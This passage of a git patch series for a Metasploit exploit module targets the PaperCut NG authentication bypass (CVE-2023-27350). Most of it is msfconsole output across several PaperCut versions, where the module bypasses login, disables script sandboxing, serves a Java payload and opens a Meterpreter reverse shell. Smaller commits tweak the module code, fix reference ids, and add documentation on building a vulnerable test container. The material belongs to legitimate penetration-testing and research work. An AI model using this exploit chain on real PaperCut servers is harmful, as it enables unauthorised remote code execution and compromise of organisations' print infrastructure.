exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=node0cwd0h7aut351pzjcifwvdyg25.node0 +[+] The target is vulnerable. +[*] Setting server option 'print-and-device.script.enabled' to 'Y') was 'N' +[*] Setting server option 'print.script.sandboxed' to 'N') was 'Y' +[*] Using URL: http://10.0.4.101:8080/rYrjrI0 +[*] Server started. +[*] Sending payload for requested uri: /rYrjrI0.jar +[*] Sending payload for requested uri: /rYrjrI0.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:46224) at 2023-05-11 01:13:29 +0000 +[*] Server stopped. +[*] rolling back 'print.script.sandboxed' to 'Y' +[*] Setting server option 'print.script.sandboxed' to 'Y') was 'N' +[*] rolling back 'print-and-device.script.enabled' to 'N' +[*] Setting server option 'print-and-device.script.enabled' to 'N') was 'Y' + +meterpreter > +``` +Note: Sandboxing is enabled by default in this version, scripting must be enabled and sandboxing must be disabled. + + +### Tested on Linux x64 with PaperCut NG Version 19.2.7.62200 +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=node01j4of6hup0i131vs585edo0uqb2.node0 +[+] The target is vulnerable. +[*] Setting server option 'print-and-device.script.enabled' to 'Y') was 'N' +[*] Setting server option 'print.script.sandboxed' to 'N') was 'Y' +[*] Using URL: http://10.0.4.101:8080/PWMM7S32xpRY7 +[*] Server started. +[*] Sending payload for requested uri: /PWMM7S32xpRY7.jar +[*] Sending payload for requested uri: /PWMM7S32xpRY7.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:35072) at 2023-05-11 01:25:25 +0000 +[*] Server stopped. +[*] Rolling back 'print.script.sandboxed' to 'Y' +[*] Setting server option 'print.script.sandboxed' to 'Y') was 'N' +[*] Rolling back 'print-and-device.script.enabled' to 'N' +[*] Setting server option 'print-and-device.script.enabled' to 'N') was 'Y' + +meterpreter > +``` +Note: Sandboxing is enabled by default in this version, scripting must be enabled and sandboxing must be disabled. + + +### Tested on Linux x64 with PaperCut NG Version 18.3.9.49588d +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=node0re9f1cbww5v11qgrc7y4g9qv3.node0 +[+] The target is vulnerable. +[*] Using URL: http://10.0.4.101:8080/o30YxAzAA69ISJ8 +[*] Server started. +[*] Sending payload for requested uri: /o30YxAzAA69ISJ8.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:40328) at 2023-05-11 02:29:15 +0000 +[*] Server stopped. + +meterpreter > +``` + +### Tested on Linux x64 with PaperCut NG Version 16.4.39159 +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=e79i55m6n77ex4p6ee3fu8u9 +[+] The target is vulnerable. +[*] Using URL: http://10.0.4.101:8080/GuHN8K +[*] Server started. +[*] Sending payload for requested uri: /GuHN8K.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:58324) at 2023-05-11 03:22:13 +0000 +[*] Server stopped. + +meterpreter > +``` +Note: The 'Form0' parameter for version 16 and lower does not take an additional '$Submit$1' value. + +### Tested on Linux x64 with PaperCut NG Version 14.3.30457 +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=b9g3gepapev0 +[+] The target is vulnerable. +[*] Using URL: http://10.0.4.101:8080/kBXJNp +[*] Server started. +[*] Sending payload for requested uri: /kBXJNp.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:32852) at 2023-05-11 03:56:24 +0000 +[*] Server stopped. + +meterpreter > +``` +Note: Version 14, and possibly earlier, use a different HTML element to report the active version when exercising the vulnerable 'SetupCompleted' page. From a445b072330a4296974ecb49a6c2f03a424e33fd Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Thu, 11 May 2023 16:35:53 +0000 Subject: [PATCH 33/40] removing unnecessary call to payload_uri --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index a5a0b619c505..7f7f20a15aa7 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -209,8 +209,6 @@ def check end def exploit - @payload_uri = get_uri - # Main function # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests. @csrf_token = bypass_auth unless @csrf_token From cbf850b2b7f32d0f40aaba23e66c3769f291a551 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 30 May 2023 18:38:48 +0000 Subject: [PATCH 34/40] Apparently the comment after the rescue squelchs the linter. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 7f7f20a15aa7..615c1b3a7663 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -243,6 +243,7 @@ def exploit Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error + # When the server stop due to our timeout, this is raised end def on_request_uri(cli, request) From b376dac34b6b236bedadef4e115057d73e8a1d44 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 30 May 2023 18:40:59 +0000 Subject: [PATCH 35/40] okay linter --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 615c1b3a7663..983f2b4f2cce 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -211,7 +211,7 @@ def check def exploit # Main function # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests. - @csrf_token = bypass_auth unless @csrf_token + @csrf_token ||= bypass_auth if @csrf_token.nil? fail_with Failure::NotVulnerable, 'Target is not vulnerable' end From 530ed911f4f2035fd90d0976c17c0277d9aeab1f Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 30 May 2023 19:03:01 +0000 Subject: [PATCH 36/40] Fixing ZDI ID --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 983f2b4f2cce..3af81b873a4b 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -29,7 +29,7 @@ def initialize(info = {}) 'Author' => ['catatonicprime'], 'References' => [ ['CVE', '2023–27350'], - ['ZDI', 'CAN-18987'], + ['ZDI', '23-233'], ['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'], ['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'], ['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'], From 6ad9ebb5c082a12c4263c59634c835d06f96c780 Mon Sep 17 00:00:00 2001 From: Catatonic Prime Date: Wed, 31 May 2023 08:48:53 -0700 Subject: [PATCH 37/40] Update modules/exploits/multi/http/papercut_ng_auth_bypass.rb Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 3af81b873a4b..32d66bed3b3e 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -28,7 +28,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => ['catatonicprime'], 'References' => [ - ['CVE', '2023–27350'], + ['CVE', '2023-27350'], ['ZDI', '23-233'], ['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'], ['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'], From 6351c66b1e4ea248b6b3dc3f707e3a6b35955b1e Mon Sep 17 00:00:00 2001 From: Catatonic Prime Date: Wed, 31 May 2023 08:56:13 -0700 Subject: [PATCH 38/40] Update modules/exploits/multi/http/papercut_ng_auth_bypass.rb Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 32d66bed3b3e..3ecd0116c40c 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## From 3875947f7dcc598d7aa3c9516ca6ed1f583010a8 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 31 May 2023 19:15:14 +0000 Subject: [PATCH 39/40] Removing unnecessary assignment --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 3ecd0116c40c..2d6ea0e5e2c3 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -211,7 +211,7 @@ def check def exploit # Main function # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests. - @csrf_token ||= bypass_auth + bypass_auth unless @csrf_token if @csrf_token.nil? fail_with Failure::NotVulnerable, 'Target is not vulnerable' end From a03603d076c9d7ffdf7b252aabdf720cba3aa5a2 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 6 Jun 2023 15:35:20 +0000 Subject: [PATCH 40/40] Documentation linting. --- .../multi/http/papercut_ng_auth_bypass.md | 33 ++++++++++++++----- 1 file changed, 24 insertions(+), 9 deletions(-) diff --git a/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md b/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md index cfa7a0098f4c..7c751ceed2d2 100644 --- a/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md +++ b/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md @@ -1,5 +1,7 @@ -## Description -PaperCut NG Authentication Bypass affecting the below versions, see [confirmation](https://www.papercut.com/kb/Main/PO-1216-and-PO-1219#product-status-and-next-steps): +## Vulnerable Application +### Description +PaperCut NG Authentication Bypass affecting the below versions, see +[confirmation](https://www.papercut.com/kb/Main/PO-1216-and-PO-1219#product-status-and-next-steps): - version 8.0.0 to 19.2.7 (inclusive) - version 20.0.0 to 20.1.6 (inclusive) - version 21.0.0 to 21.2.10 (inclusive) @@ -7,10 +9,12 @@ PaperCut NG Authentication Bypass affecting the below versions, see [confirmatio See module `info` for additional references. -## Vulnerable Application -Papercut NG can be run in a container. This is useful for creating test environments for verification. To acquire past versions of the software, i.e. known vulnerable versions, see [Download past/old PaperCut NG Versions](https://www.papercut.com/kb/Main/PastVersions). +### Building a Vulnerable Container +Papercut NG can be run in a container. This is useful for creating test environments for verification. To acquire past versions of the +software, i.e. known vulnerable versions, see [Download past/old PaperCut NG Versions](https://www.papercut.com/kb/Main/PastVersions). -Versions 16 and later include a "--non-interactive" switch, easing installation. Below I use podman on Centos 9 Stream to containerize the application for testing. +Versions 16 and later include a "--non-interactive" switch, easing installation. Below I use podman on Centos 9 Stream to containerize the +application for testing. From an empty directory, create a Dockerfile containing the following: ```dockerfile @@ -33,11 +37,21 @@ curl -OJ "https://cdn.papercut.com/files/pcng/16.x/pcng-setup-16.4.39159-linux-x podman build . --tag papercut-16.4.39159 podman run -it --rm -p 9191:9191 localhost/papercut-16.4.39159 /bin/bash -c "sh /*.sh --non-interactive; read" ``` -Note: *Be sure to cross reference the target version with the known vulnerable versions, as some of the links in the listed Past Versions are patched.* +Note: *Be sure to cross reference the target version with the known vulnerable versions, as some of the links in the listed Past Versions +are patched.* + +A URL will be provided in the console to access the application, but you will likely need to use an IP accessible from your metasploit +host, e.g. [127.0.0.1](http://127.0.0.1:9191/admin) in order to complete the application setup. After setup, you may commit changes to the +container & tag the new image to maintain your configuration changes. In the future the service can be restarted using +`/etc/init.d/papercut start` from within the container. -A URL will be provided in the console to access the application, but you will likely need to use an IP accessible from your metasploit host, e.g. [127.0.0.1](http://127.0.0.1:9191/admin) in order to complete the application setup. After setup, you may commit changes to the container & tag the new image to maintain your configuration changes. In the future the service can be restarted using `/etc/init.d/papercut start` from within the container. +*Caveat: When first starting the server or after completing the installation, at least one user needs to login. I think this has something +to do with getting the license manager into the correct state (i.e. loading the license). When this is not yet done then the Authentication +Bypass is still functional leading to a "Target Vulnerable" message during `check`. However, when attempting to select the +"\[Template Printer\]" a redirect to the About page occurs instead. Ensuring a logon can be done by using the "Login" button presented on +the SetupCompleted page used for the bypass. This scenario is not covered in the module as it is unlikely to be an issue on any network +that is currently in use.* -*Caveat: When first starting the server or after completing the installation, at least one user needs to login. I think this has something to do with getting the license manager into the correct state (i.e. loading the license). When this is not yet done then the Authentication Bypass is still functional leading to a "Target Vulnerable" message during `check`. However, when attempting to select the "\[Template Printer\]" a redirect to the About page occurs instead. Ensuring a logon can be done by using the "Login" button presented on the SetupCompleted page used for the bypass. This scenario is not covered in the module as it is unlikely to be an issue on any network that is currently in use.* ## Verification Steps @@ -201,4 +215,5 @@ msf6 exploit(multi/http/papercut_ng_auth_bypass) > run meterpreter > ``` -Note: Version 14, and possibly earlier, use a different HTML element to report the active version when exercising the vulnerable 'SetupCompleted' page. +Note: Version 14, and possibly earlier, use a different HTML element to report the active version when exercising the vulnerable +'SetupCompleted' page.